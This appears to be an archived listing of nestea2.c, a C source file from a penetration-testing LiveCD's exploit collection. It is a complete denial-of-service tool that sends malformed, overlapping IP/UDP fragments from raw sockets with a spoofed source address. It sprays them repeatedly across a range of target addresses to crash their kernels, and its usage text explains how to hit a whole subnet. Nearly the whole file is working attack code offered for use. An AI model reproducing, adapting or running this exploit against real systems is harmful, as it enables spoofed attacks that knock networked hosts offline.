home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / nestea2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  365 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <netdb.h>
  6. #include <netinet/in.h>
  7. #include <netinet/udp.h>
  8. #include <arpa/inet.h>
  9. #include <sys/types.h>
  10. #include <sys/time.h>
  11. #include <sys/socket.h>
  12.  
  13. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  14. /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  15. #define FIX(n)  (n)
  16. #else                   /* OpenBSD 2.1, all Linux */
  17. #define FIX(n)  htons(n)
  18. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  19.  
  20. #define IP_MF   0x2000  /* More IP fragment en route */
  21. #define IPH     0x14    /* IP header size */
  22. #define UDPH    0x8     /* UDP header size */
  23. #define MAGIC2  108
  24. #define PADDING 256    /* datagram frame padding for first packet */
  25. #define COUNT   500    /* we are overwriting a small number of bytes we
  26. shouldnt have access to in the kernel.
  27. to be safe, we should hit them till they die :
  28. >  */
  29. struct ipstuph
  30.   {
  31.     int p1;
  32.     int p2;
  33.     int p3;
  34.     int p4;
  35.   }
  36. startip, endip;
  37.  
  38. void usage(u_char *);
  39. u_long name_resolve(u_char *);
  40. u_short in_cksum(u_short *, int);
  41. void send_frags(int, u_long, u_long, u_short, u_short);
  42.  
  43. int main(int argc, char **argv)
  44. {
  45.   int one = 1, count = 0, i, rip_sock, j, bequiet = 0;
  46.   u_long  src_ip = 0, dst_ip = 0;
  47.   u_short src_prt = 0, dst_prt = 0;
  48.   char hit_ip[18], dst_ip2[18];
  49.   struct in_addr addr;
  50.  
  51.   fprintf(stderr, "\nNestea v2 originally byhumble ttol mods\n");
  52.   fprintf(stderr, "Color and Instructions was done by ttol\n");
  53.   fprintf(stderr, "Note : ttol released Nestea v2.  humble had nothing to do with \n       it, don't nag him about it.  -ttol@ttol.net\n\n");
  54.  
  55.   if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  56.     {
  57.       perror("raw socket");
  58.       exit(1);
  59.     }
  60.   if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  61.       < 0)
  62.     {
  63.       perror("IP_HDRINCL");
  64.       exit(1);
  65.     }
  66.   if (argc < 4) usage(argv[0]);
  67.   if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  68.     {
  69.       fprintf(stderr, "What the hell kind of IP address is that?\n");
  70.       exit(1);
  71.     }
  72.  
  73.   strcpy(dst_ip2,argv[3]);
  74.   if(sscanf(argv[2],"%d.%d.%d.%d",&startip.p1,&startip.p2,&startip.p3,
  75.             &startip.p4) != 4)
  76.     {
  77.       fprintf(stderr, "Error, arg2(startip) Need an ip that contains 4 zones\n");
  78.       exit(1);
  79.     }
  80.   if (startip.p1 > 255)
  81.     {
  82.       fprintf(stderr, "Error Zone 1 of start ip is incorrect \
  83.               (greater than 255)\n");
  84.       exit(1);
  85.     }
  86.   if (startip.p2 > 255)
  87.     {
  88.       fprintf(stderr, "Error Zone 2 of start ip is incorrect \
  89.               (greater than 255)\n");
  90.       exit(1);
  91.     }
  92.   if (startip.p3 > 255)
  93.     {
  94.       fprintf(stderr, "Error Zone 3 of start ip is incorrect \
  95.               (greater than 255)\n");
  96.       exit(1);
  97.     }
  98.   if (startip.p4 > 255)
  99.     {
  100.       fprintf(stderr, "Error Zone 4 of start ip is incorret \
  101.               (greater than 255)\n");
  102.       exit(1);
  103.     }
  104.   if(sscanf(argv[3],"%d.%d.%d.%d",&endip.p1,&endip.p2,&endip.p3,
  105.             &endip.p4) != 4)
  106.     {
  107.       fprintf(stderr, "Error, arg3(endip) : [[0;34mNeed an ip that \
  108.               contains 4 zones[[0m\n");
  109.       exit(1);
  110.     }
  111.   if (endip.p1 > 255)
  112.     {
  113.       fprintf(stderr, "Error Zone 1 of end ip is incorrect \
  114.               (greater than 255)\n");
  115.       exit(1);
  116.     }
  117.   if (endip.p2 > 255)
  118.     {
  119.       fprintf(stderr, "Error Zone 2 of end ip is incorrect \
  120.               (greater than 255)\n");
  121.       exit(1);
  122.     }
  123.   if (endip.p3 > 255)
  124.     {
  125.       fprintf(stderr, "Error Zone 3 of end ip is incorrect
  126.               (greater than 255)\n");
  127.       exit(1);
  128.     }
  129.   if (endip.p4 > 255)
  130.     {
  131.       fprintf(stderr, "Error Zone 4 of end ip is incorrect
  132.               (greater than 255)\n");
  133.       exit(1);
  134.     }
  135.   if (startip.p1 != endip.p1)
  136.     {
  137.       fprintf(stderr, "Error Zone 1 of start ip and end ip is different\n");
  138.       exit(1);
  139.     }
  140.   if (startip.p2 != endip.p2)
  141.     {
  142.       fprintf(stderr, "Error Zone 2 of start ip and end ip is different\n");
  143.       exit(1);
  144.     }
  145.   if (startip.p3 != endip.p3)
  146.     {
  147.       fprintf(stderr, "Error Zone 3 of start ip and end ip is different\n");
  148.       exit(1);
  149.     }
  150.  
  151.   while ((i = getopt_long(argc, argv, "s:t:n:q")) != EOF)
  152.     {
  153.       switch (i)
  154.         {
  155.         case 's':               /* source port (should be emphemeral) */
  156.           src_prt = (u_short)atoi(optarg);
  157.           break;
  158.         case 't':               /* dest port (DNS, anyone?) */
  159.           dst_prt = (u_short)atoi(optarg);
  160.           break;
  161.         case 'n':               /* number to send */
  162.           count   = atoi(optarg);
  163.           break;
  164.         case 'q':               /* quiet mode */
  165.           bequiet = 1;
  166.           break;
  167.         default :
  168.           usage(argv[0]);
  169.           break;              /* NOTREACHED */
  170.         }
  171.     }
  172.   srandom((unsigned)(time((time_t)0)));
  173.   if (!src_prt) src_prt = (random() % 0xffff);
  174.   if (!dst_prt) dst_prt = (random() % 0xffff);
  175.   if (!count)   count   = COUNT;
  176.  
  177.   fprintf(stderr, "Death on flaxen wings (yet again):\n");
  178.   addr.s_addr = src_ip;
  179.   fprintf(stderr, "From%15s.%d\n", inet_ntoa(addr), src_prt);
  180.   addr.s_addr = dst_ip;
  181.   fprintf(stderr, "  To%15s - %s.%d\n", inet_ntoa(addr),
  182.           dst_ip2, dst_prt);
  183.   fprintf(stderr, " Amt%5d\n", count);
  184.  
  185.   if (bequiet) fprintf(stderr, "[quiet modeEach'.' represents a nuked ip.  [");
  186.   for (j=startip.p4; j <= endip.p4; j++)
  187.     {
  188.       sprintf(hit_ip,"%d.%d.%d.%d",startip.p1,startip.p2,startip.p3,j);
  189.  
  190.       if (!(bequiet)) fprintf(stderr, "%s ", hit_ip);
  191.  
  192.       if (!(dst_ip = name_resolve(hit_ip)))
  193.         {
  194.           fprintf(stderr, "What the hell kind of IP address is that?\n");
  195.           exit(1);
  196.         }
  197.  
  198.       for (i = 0; i < count; i++)
  199.         {
  200.           send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  201.           if (!(bequiet)) fprintf(stderr, "d00");
  202.           usleep(500);
  203.         }
  204.       if (bequiet) fprintf(stderr, ".");
  205.       else fprintf(stderr, "]\n");
  206.     }
  207.   if (bequiet) fprintf(stderr, "]\n");
  208.   return (0);
  209. }
  210.  
  211. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  212.                 u_short dst_prt)
  213. {
  214.   int i;
  215.   u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  216.   u_char byte;                            /* a byte */
  217.   struct sockaddr_in sin;                 /* socket protocol structure */
  218.  
  219.   sin.sin_family      = AF_INET;
  220.   sin.sin_port        = src_prt;
  221.   sin.sin_addr.s_addr = dst_ip;
  222.  
  223.   packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
  224.   p_ptr  = packet;
  225.   bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  226.  
  227.   byte = 0x45;                        /* IP version and header length */
  228.   memcpy(p_ptr, &byte, sizeof(u_char));
  229.   p_ptr += 2;                         /* IP TOS (skipped) */
  230.   *((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* total length */
  231.   p_ptr += 2;
  232.   *((u_short *)p_ptr) = htons(242);   /* IP id */
  233.   p_ptr += 2;
  234.   *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  235.   p_ptr += 2;
  236.   *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  237.   byte = IPPROTO_UDP;
  238.   memcpy(p_ptr + 1, &byte, sizeof(u_char));
  239.   p_ptr += 4;                         /* IP checksum filled in by kernel */
  240.   *((u_long *)p_ptr) = src_ip;        /* IP source address */
  241.   p_ptr += 4;
  242.   *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  243.   p_ptr += 4;
  244.   *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  245.   p_ptr += 2;
  246.   *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  247.   p_ptr += 2;
  248.   *((u_short *)p_ptr) = htons(8 + 10);   /* UDP total length */
  249.  
  250.   if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
  251.              sizeof(struct sockaddr)) == -1)
  252.     {
  253.       perror("\nsendto");
  254.       free(packet);
  255.       exit(1);
  256.     }
  257.  
  258.   p_ptr  = packet;
  259.   bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  260.  
  261.   byte = 0x45;                        /* IP version and header length */
  262.   memcpy(p_ptr, &byte, sizeof(u_char));
  263.   p_ptr += 2;                         /* IP TOS (skipped) */
  264.   *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* total length */
  265.   p_ptr += 2;
  266.   *((u_short *)p_ptr) = htons(242);   /* IP id */
  267.   p_ptr += 2;
  268.   *((u_short *)p_ptr) = FIX(6);  /* IP frag flags and offset */
  269.   p_ptr += 2;
  270.   *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  271.   byte = IPPROTO_UDP;
  272.   memcpy(p_ptr + 1, &byte, sizeof(u_char));
  273.   p_ptr += 4;                         /* IP checksum filled in by kernel */
  274.   *((u_long *)p_ptr) = src_ip;        /* IP source address */
  275.   p_ptr += 4;
  276.   *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  277.   p_ptr += 4;
  278.   *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  279.   p_ptr += 2;
  280.   *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  281.   p_ptr += 2;
  282.   *((u_short *)p_ptr) = htons(8 + MAGIC2);   /* UDP total length */
  283.  
  284.   if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
  285.              sizeof(struct sockaddr)) == -1)
  286.     {
  287.       perror("\nsendto");
  288.       free(packet);
  289.       exit(1);
  290.     }
  291.  
  292.   p_ptr  = packet;
  293.   bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
  294.   byte = 0x4F;                        /* IP version and header length */
  295.   memcpy(p_ptr, &byte, sizeof(u_char));
  296.   p_ptr += 2;                         /* IP TOS (skipped) */
  297.   *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* total length */
  298.   p_ptr += 2;
  299.   *((u_short *)p_ptr) = htons(242);   /* IP id */
  300.   p_ptr += 2;
  301.   *((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* IP frag flags and offset */
  302.   p_ptr += 2;
  303.   *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  304.   byte = IPPROTO_UDP;
  305.   memcpy(p_ptr + 1, &byte, sizeof(u_char));
  306.   p_ptr += 4;                         /* IP checksum filled in by kernel */
  307.   *((u_long *)p_ptr) = src_ip;        /* IP source address */
  308.   p_ptr += 4;
  309.   *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  310.   p_ptr += 44;
  311.   *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  312.   p_ptr += 2;
  313.   *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  314.   p_ptr += 2;
  315.   *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  316.  
  317.   for(i=0;i<PADDING;i++)
  318.     {
  319.       p_ptr[i++]=random()%255;
  320.     }
  321.  
  322.   if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  323.              sizeof(struct sockaddr)) == -1)
  324.     {
  325.       perror("\nsendto");
  326.       free(packet);
  327.       exit(1);
  328.     }
  329.   free(packet);
  330. }
  331.  
  332. u_long name_resolve(u_char *host_name)
  333. {
  334.   struct in_addr addr;
  335.   struct hostent *host_ent;
  336.  
  337.   if ((addr.s_addr = inet_addr(host_name)) == -1)
  338.     {
  339.       if (!(host_ent = gethostbyname(host_name))) return (0);
  340.       bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  341.     }
  342.   return (addr.s_addr);
  343. }
  344.  
  345. void usage(u_char *name)
  346. {
  347.   fprintf(stderr,
  348.           "nestea2 source startIP endIP [-s src port] [-t dest port] [-n quantity] [-q]\n");
  349.   fprintf(stderr, "source   This is the source IP to nestea from, make it a spoof\n");
  350.   fprintf(stderr, "startIP  From which IP should we start from? (eg 153.35.85.1)\n");
  351.   fprintf(stderr, "endIP    From which IP should we end with?   (eg 153.35.95.255)\n");
  352.   fprintf(stderr, "src port This is the source port to spoof from (OPTIONAL)\n");
  353.   fprintf(stderr, "dest portThis is the destination port to nestea to (OPTIONAL)\n");
  354.   fprintf(stderr, "quantity This is how many times to nestea the victim (perfered is 1000)\n");
  355.   fprintf(stderr, "-q       This is quiet mode so you don't see the d00m's\n\n");
  356.   fprintf(stderr, "Example  nestea2 127.0.0.1 153.35.85.1 153.35.85.255 -n 1000\n");
  357.   fprintf(stderr, "The above was to hit a whole Class C of 153.35.85 with the return \naddress from 127.0.0.1 doing it 1000 times\n");
  358.   fprintf(stderr, "Example2 nestea2 153.35.85.32 153.35.85.32 153.85.35.32 -n 1000\n");
  359.   fprintf(stderr, "The above was to hit 153.35.85.32 with the source 153.35.85.32 \ndoing it 1000 times\n");
  360.   fprintf(stderr, "I perfer example2, probably because it is the lazy man's way out\n\n");
  361.   fprintf(stderr, "                             NOT TO BE DISTRIBUTED!\n");
  362.   exit(0);
  363.  
  364. }
  365. /*                    www.hack.co.za              [2000]*/